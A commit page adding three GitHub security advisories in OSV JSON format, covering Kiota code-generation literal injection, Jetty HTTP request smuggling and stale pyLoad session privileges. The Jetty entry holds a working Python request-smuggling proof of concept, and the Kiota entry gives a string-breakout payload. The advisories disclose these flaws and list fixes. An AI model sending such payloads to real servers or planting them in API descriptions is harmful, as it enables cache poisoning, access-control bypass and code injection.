Skip to content

Commit 1cee5d8

Browse files

File tree

5 files changed

+392
-0
lines changed

5 files changed

+392
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2hx3-vp6r-mg3f",
4+
"modified": "2026-04-14T23:39:41Z",
5+
"published": "2026-04-14T23:39:41Z",
6+
"aliases": [],
7+
"summary": "Kiota: Code Generation Literal Injection",
8+
"details": "# Code Generation Literal Injection in Kiota\n\n## Summary\n\nKiota versions **prior to 1.31.1** are affected by a code-generation literal injection vulnerability in multiple writer sinks (for example: serialization/deserialization keys, path/query parameter mappings, URL template metadata, enum/property metadata, and default value emission).\n\nWhen malicious values from an OpenAPI description are emitted into generated source without context-appropriate escaping, an attacker can break out of string literals and inject additional code into generated clients.\n\n## Impact and Preconditions\n\nThis issue is only practically exploitable when:\n\n1. the OpenAPI description used for generation is from an **untrusted source**, or\n2. a normally trusted OpenAPI description has been **compromised/tampered with**.\n\nIf you only generate from trusted, integrity-protected API descriptions, risk is significantly reduced.\n\n## Affected Versions\n\n- **Affected:** all versions **< 1.31.1**\n- **Fixed:** **1.31.1** and later\n\n## Illustrative Exploit Example\n\n### Example OpenAPI fragment (malicious default value)\n\n```yaml\nopenapi: 3.0.1\ninfo:\n title: Exploit Demo\n version: 1.0.0\ncomponents:\n schemas:\n User:\n type: object\n properties:\n displayName:\n type: string\n default: \"\\\"; throw new System.Exception(\\\"injected\\\"); //\"\n```\n\n### Example generated C# snippet before fix (illustrative)\n\n```csharp\npublic User() {\n DisplayName = \"\"; throw new System.Exception(\"injected\"); //\";\n}\n```\n\nThe injected payload escapes the intended string context and introduces attacker-controlled statements in generated code.\n\n> Note: this exploit is not limited to default values, but may also impact properties names (serialization), path or query parameters, enum representations and other locations.\n\n## Remediation\n\n1. Upgrade Kiota to **1.31.1 or later**.\n2. Regenerate/refresh existing generated clients as a precaution:\n\n```bash\nkiota update\n```\n\nRefreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.\n\n## Acknowledgement\n\nWe would like to thank the researcher Thanatos Tian (Polyu) for finding this issue and for his contribution to this open source project.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "NuGet",
19+
"name": "kiota"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.31.1"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/microsoft/kiota/security/advisories/GHSA-2hx3-vp6r-mg3f"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/microsoft/kiota"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-94"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-14T23:39:41Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 160 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-355h-qmc2-wpwf",
4+
"modified": "2026-04-14T23:40:31Z",
5+
"published": "2026-04-14T23:40:31Z",
6+
"aliases": [
7+
"CVE-2026-2332"
8+
],
9+
"summary": "Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing",
10+
"details": "### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b'1;a=\"\\r\\n'\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b'\"\\r\\n'\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users' responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.eclipse.jetty:jetty-http"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "12.1.0"
29+
},
30+
{
31+
"fixed": "12.1.7"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 12.1.6"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "Maven",
43+
"name": "org.eclipse.jetty:jetty-http"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "12.0.0"
51+
},
52+
{
53+
"fixed": "12.0.33"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 12.0.32"
60+
}
61+
},
62+
{
63+
"package": {
64+
"ecosystem": "Maven",
65+
"name": "org.eclipse.jetty:jetty-http"
66+
},
67+
"ranges": [
68+
{
69+
"type": "ECOSYSTEM",
70+
"events": [
71+
{
72+
"introduced": "11.0.0"
73+
},
74+
{
75+
"fixed": "11.0.28"
76+
}
77+
]
78+
}
79+
],
80+
"database_specific": {
81+
"last_known_affected_version_range": "<= 11.0.27"
82+
}
83+
},
84+
{
85+
"package": {
86+
"ecosystem": "Maven",
87+
"name": "org.eclipse.jetty:jetty-http"
88+
},
89+
"ranges": [
90+
{
91+
"type": "ECOSYSTEM",
92+
"events": [
93+
{
94+
"introduced": "10.0.0"
95+
},
96+
{
97+
"fixed": "10.0.28"
98+
}
99+
]
100+
}
101+
],
102+
"database_specific": {
103+
"last_known_affected_version_range": "<= 10.0.27"
104+
}
105+
},
106+
{
107+
"package": {
108+
"ecosystem": "Maven",
109+
"name": "org.eclipse.jetty:jetty-http"
110+
},
111+
"ranges": [
112+
{
113+
"type": "ECOSYSTEM",
114+
"events": [
115+
{
116+
"introduced": "9.4.0"
117+
},
118+
{
119+
"fixed": "9.4.60"
120+
}
121+
]
122+
}
123+
],
124+
"database_specific": {
125+
"last_known_affected_version_range": "<= 9.4.59"
126+
}
127+
}
128+
],
129+
"references": [
130+
{
131+
"type": "WEB",
132+
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"
133+
},
134+
{
135+
"type": "ADVISORY",
136+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
137+
},
138+
{
139+
"type": "PACKAGE",
140+
"url": "https://github.com/jetty/jetty.project"
141+
},
142+
{
143+
"type": "WEB",
144+
"url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"
145+
},
146+
{
147+
"type": "WEB",
148+
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
149+
}
150+
],
151+
"database_specific": {
152+
"cwe_ids": [
153+
"CWE-444"
154+
],
155+
"severity": "HIGH",
156+
"github_reviewed": true,
157+
"github_reviewed_at": "2026-04-14T23:40:31Z",
158+
"nvd_published_at": "2026-04-14T12:16:21Z"
159+
}
160+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-66hx-chf7-3332",
4+
"modified": "2026-04-14T23:38:35Z",
5+
"published": "2026-04-14T23:38:35Z",
6+
"aliases": [],
7+
"summary": "pyLoad has Stale Session Privilege After Role/Permission Change (Privilege Revocation Bypass)",
8+
"details": "### Summary\npyLoad caches `role` and `permission` in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database.\n\nAs a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions.\n\nThis is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature.\n\n### Details\nThe WebUI auth flow stores authorization state in session:\n\n- `src/pyload/webui/app/helpers.py:187-200`\n - `set_session(...)` writes:\n - `\"role\": user_info[\"role\"]`\n - `\"perms\": user_info[\"permission\"]`\n\nAuthorization checks later trust cached session values:\n\n- `src/pyload/webui/app/helpers.py:134-151`\n - `parse_permissions(...)` reads `session.get(\"role\")` / `session.get(\"perms\")`\n- `src/pyload/webui/app/helpers.py:225-230`\n - `is_authenticated(...)` only verifies `authenticated` and `api.user_exists(user)` (existence), not fresh role/permission\n- `src/pyload/webui/app/helpers.py:267-275`\n - `login_required(...)` uses `parse_permissions(s)` for allow/deny decisions\n- `src/pyload/webui/app/helpers.py:356-365`\n - API session auth path also trusts `s[\"role\"]` and `s[\"perms\"]`\n\nRole/permission updates are written to DB but active sessions are not invalidated/refreshed:\n\n- `src/pyload/webui/app/blueprints/json_blueprint.py:389-434`\n - `update_users(...)` calls `api.set_user_permission(...)` and returns\n- `src/pyload/core/api/__init__.py:1643-1645`\n - `set_user_permission(...)` updates DB role/permission only\n\nDefault exposure window is long:\n\n- `src/pyload/core/config/default.cfg:47`\n - `session_lifetime = 44640` minutes (~31 days)\n\nTherefore, privilege revocation is not enforced immediately for active sessions.\n\nNote on duplicates:\n- This appears distinct from CVE-2023-0227 (session validity after **user deletion**) because this report is about stale authorization after **role/permission changes** while the user still exists.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nRepro: stale session privilege after role/permission changes.\n\nThis PoC is source-based and leaves no persistent state.\nIt validates that:\n1) Role/permission are cached into session at login.\n2) Authorization checks read role/permission from session, not fresh DB values.\n3) User updates write DB permission/role without invalidating active sessions.\n4) Default session lifetime is long, increasing stale-privilege exposure window.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport pathlib\nimport re\nfrom typing import Iterable\n\n\nROOT = pathlib.Path(__file__).resolve().parent / \"pyload\" / \"src\" / \"pyload\"\n\n\ndef read(rel: str) -> str:\n return (ROOT / rel).read_text(encoding=\"utf-8\")\n\n\ndef has_any(text: str, patterns: Iterable[str]) -> bool:\n return all(re.search(p, text, re.MULTILINE) for p in patterns)\n\n\ndef main() -> None:\n helpers = read(\"webui/app/helpers.py\")\n json_blueprint = read(\"webui/app/blueprints/json_blueprint.py\")\n api_init = read(\"core/api/__init__.py\")\n default_cfg = (ROOT / \"core/config/default.cfg\").read_text(encoding=\"utf-8\")\n\n checks = {\n \"set_session_caches_role_perms\": has_any(\n helpers,\n [\n r'def\\\\s+set_session\\\\(',\n r'\"role\"\\\\s*:\\\\s*user_info\\\\[\"role\"\\\\]',\n r'\"perms\"\\\\s*:\\\\s*user_info\\\\[\"permission\"\\\\]',\n ],\n ),\n \"is_authenticated_only_checks_user_exists\": has_any(\n helpers,\n [\n r'def\\\\s+is_authenticated\\\\(',\n r'api\\\\s*=\\\\s*flask\\\\.current_app\\\\.config\\\\[\"PYLOAD_API\"\\\\]',\n r'return\\\\s+authenticated\\\\s+and\\\\s+api\\\\.user_exists\\\\(user\\\\)',\n ],\n ),\n \"parse_permissions_reads_session_cache\": has_any(\n helpers,\n [\n r'def\\\\s+parse_permissions\\\\(',\n r'session\\\\.get\\\\(\"role\"\\\\)\\\\s*==\\\\s*Role\\\\.ADMIN',\n r'session\\\\.get\\\\(\"perms\"\\\\)',\n ],\n ),\n \"login_required_uses_parse_permissions_session\": has_any(\n helpers,\n [\n r'def\\\\s+login_required\\\\(',\n r'if\\\\s+is_authenticated\\\\(s\\\\):',\n r'perms\\\\s*=\\\\s*parse_permissions\\\\(s\\\\)',\n ],\n ),\n \"api_session_auth_uses_cached_role_perms\": has_any(\n helpers,\n [\n r'if\\\\s+is_authenticated\\\\(s\\\\):',\n r'\"role\"\\\\s*:\\\\s*s\\\\[\"role\"\\\\]',\n r'\"permission\"\\\\s*:\\\\s*s\\\\[\"perms\"\\\\]',\n ],\n ),\n \"update_users_changes_db_without_session_invalidation\": has_any(\n json_blueprint,\n [\n r'def\\\\s+update_users\\\\(',\n r'api\\\\.set_user_permission\\\\(name,\\\\s*data\\\\[\"permission\"\\\\],\\\\s*data\\\\[\"role\"\\\\]\\\\)',\n r'return\\\\s+jsonify\\\\(True\\\\)',\n ],\n ),\n \"set_user_permission_only_updates_db\": has_any(\n api_init,\n [\n r'def\\\\s+set_user_permission\\\\(',\n r'self\\\\.pyload\\\\.db\\\\.set_permission\\\\(user,\\\\s*permission\\\\)',\n r'self\\\\.pyload\\\\.db\\\\.set_role\\\\(user,\\\\s*role\\\\)',\n ],\n ),\n \"default_session_lifetime_long\": re.search(\n r'session_lifetime\\\\s*:\\\\s*\"Session lifetime \\\\(minutes\\\\)\"\\\\s*=\\\\s*44640',\n default_cfg,\n re.MULTILINE,\n )\n is not None,\n }\n\n for name, ok in checks.items():\n print(f\"{name}={ok}\")\n\n stale_privilege_repro_success = all(checks.values())\n print(f\"stale_privilege_repro_success={stale_privilege_repro_success}\")\n\n # Cleanup: this PoC creates/modifies no runtime/data files.\n print(\"cleanup_done=True\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n```text\nset_session_caches_role_perms=True\nis_authenticated_only_checks_user_exists=True\nparse_permissions_reads_session_cache=True\nlogin_required_uses_parse_permissions_session=True\napi_session_auth_uses_cached_role_perms=True\nupdate_users_changes_db_without_session_invalidation=True\nset_user_permission_only_updates_db=True\ndefault_session_lifetime_long=True\nstale_privilege_repro_success=True\ncleanup_done=True\n```\n\n### Impact\n- Privilege revocation is not immediate for active sessions.\n- A user can continue using stale, previously granted privileges (including admin) after downgrade/restriction.\n- This can allow continued access to privileged WebUI/API actions until session expiry or manual logout/session reset.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "pyload-ng"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "0.5.0b3.dev97"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-66hx-chf7-3332"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/pyload/pyload/commit/e95804fb0d06cbb07d2ba380fc494d9ff89b68c1"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/pyload/pyload"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-613"
53+
],
54+
"severity": "HIGH",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-14T23:38:35Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)